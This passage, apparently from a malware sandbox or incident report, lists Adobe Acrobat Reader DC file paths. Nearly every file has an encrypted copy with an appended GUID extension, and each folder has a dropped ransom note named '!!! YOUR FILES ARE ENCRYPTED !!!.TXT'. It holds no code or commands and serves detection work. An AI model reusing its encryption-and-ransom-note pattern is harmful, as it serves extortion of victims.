- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\AppCenter_R.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\AppCenter_R.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Certificates_R.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Certificates_R.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\CollectSignatures.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\CollectSignatures.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Combine_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Combine_R_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Comments.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Comments.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Compare_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Compare_R_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\CPDF_Full.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\CPDF_Full.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\CPDF_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\CPDF_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Edit_R_Exp_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Edit_R_Exp_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Edit_R_Full.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Edit_R_Full.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Edit_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Edit_R_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\EPDF_Full.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\EPDF_Full.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\EPDF_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\EPDF_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\FillSign.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\FillSign.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Home.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Home.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\InAppSign.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\InAppSign.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Measure.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Measure.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\MoreTools.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\MoreTools.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\OptimizePDF_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\OptimizePDF_R_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Pages_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Pages_R_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Protect_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Protect_R_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Redact_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Redact_R_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Review_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Review_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Scan_R_RHP.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Scan_R_RHP.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Stamp.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Stamp.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\TrackedSend.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\TrackedSend.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\UnifiedShare.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\UnifiedShare.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Viewer.aapp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\Viewer.aapp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\eula.ini",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\eula.ini.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\stopwords.ENU",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\stopwords.ENU.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\DataMatrix.pmp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\DataMatrix.pmp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\QRCode.pmp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\QRCode.pmp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.mpp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.mpp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.mpp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.mpp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.mpp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.mpp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\2d.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\2d.x3d.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\3difr.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\3difr.x3d.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvDX9.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvDX9.x3d.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvSOFT.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvSOFT.x3d.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prcr.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prcr.x3d.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\tesselate.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\tesselate.x3d.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif",
